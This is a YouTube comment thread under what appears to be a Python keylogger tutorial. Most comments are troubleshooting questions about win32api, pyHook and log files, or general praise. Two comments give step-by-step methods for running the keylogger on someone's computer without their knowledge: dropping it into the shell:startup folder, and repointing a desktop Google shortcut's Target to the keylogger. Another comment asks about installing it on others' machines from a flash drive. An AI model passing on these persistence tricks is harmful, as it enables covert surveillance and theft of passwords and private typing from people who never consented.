  • @brandon33371
    @brandon33371 7 лет назад

    So if i create this and store it in a flashdrive, can I manually insert this keylogger onto others computers?

  • @jaffz88
    @jaffz88 8 лет назад

    So when I try to execute the script in python, no text shows up - it basically seems to just finish the script without showing any text. Does that mean it's working?

  • @stevenroux124
    @stevenroux124 7 лет назад

    Im getting this error, Im confused because I already installed this module...
    Traceback (most recent call last):
    File "C:/Users/Gel Douche/Desktop/Keylogger.py", line 1, in
    import win32api
    ImportError: DLL load failed: The specified module could not be found.

  • @jstfrnd20
    @jstfrnd20 5 лет назад

    For some stupid reason the same code works in idle and outputs correctly, but when it is run on pycharm all of the texts in the log file gets messed up (outputs blocks instead of characters)..... am I doing something wrong?

  • @hussainali-in9bu
    @hussainali-in9bu 9 лет назад

    hi, its wonderful. I like your style boss. I want to become a python developer. I have not any background in programming. so can you advise me please, how to start? may i need to learn HTML, C, C+ or anything else?
    I'm waiting for your response to start. hope you advise me soon. God bless you Sir.
    Thank you.

    • @Veri7a
      @Veri7a 9 лет назад

      +hussain ali pythonprogramming.net, free training

    • @jacobcoutu5864
      @jacobcoutu5864 9 лет назад

      +hussain ali you could also learn from codecademy like i did

  • @UhtredOfBamburgh
    @UhtredOfBamburgh 6 лет назад

    Does any computer you put it on also need to have python and the python modules installed too?

  • @foxtrotg33
    @foxtrotg33 9 лет назад

    What does pyhook do? I tried it without it to see what would happen and our just didn't log the text in the notepad document. Is this what it is for, the logging? Thanks. 😊

  • @nacityishere9111
    @nacityishere9111 7 лет назад +1

    to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r
    from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer

    • @omar_rrr
      @omar_rrr 7 лет назад

      Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties.
      In properties search for "Target:". Change the value in target to the location of the keylogger file.
      Then search for "Start in:"
      Put the location of the folder where the keylogger is found. I hope it helps.

  • @Anzhion
    @Anzhion 8 лет назад

    Very good understandable from a german-native!

  • @SaiyanParmos
    @SaiyanParmos 8 лет назад

    So would this work with cut and paste? If now how would we add this function?

  • @musclehead1992
    @musclehead1992 8 лет назад

    I can tell you're very bright, keep up the good work

  • @lukazzz90
    @lukazzz90 8 лет назад

    Oh.. Here is a question..
    (Let me give you the scenario first)
    "To work I got to use the company's computer, and I login as a guest. The PC don't allow me to make any changes to it. And it pisses me off that if I don't use it for 3~5 minutes, it will log off. So I was thinking about making a arduino program with a motion detector that it would make a small actuator touch the screen every 3 minutes if no motion was detected."
    Now, writing a code that would launch it self and just run in the back ground sounds much easier...
    So if I write one like this and just change the hook manager to watch for no activity within 3 min, and some how add a command that would hit ESC on the keyboard or the mouse's right click, that would work right?
    Any chance u know these commands?
    Thx..

  • @iancarlossantos1204
    @iancarlossantos1204 6 лет назад

    well, I made it and kinda works dude, but once I change on the short cut the destination it also switches the Expl icon for one that has a couple of gears, any suggestions? very goog video by the way.

  • @joshuawang8456
    @joshuawang8456 8 лет назад

    Do you have to make the log file, or does it make it automatically?

  • @sokolzahiti6443
    @sokolzahiti6443 5 лет назад

    Is there a command or anything you can press to make the keylogger stop? When im trying out my keylogger i have no way of stopping it but to go in taskmanager and it dosent even keep any logs :(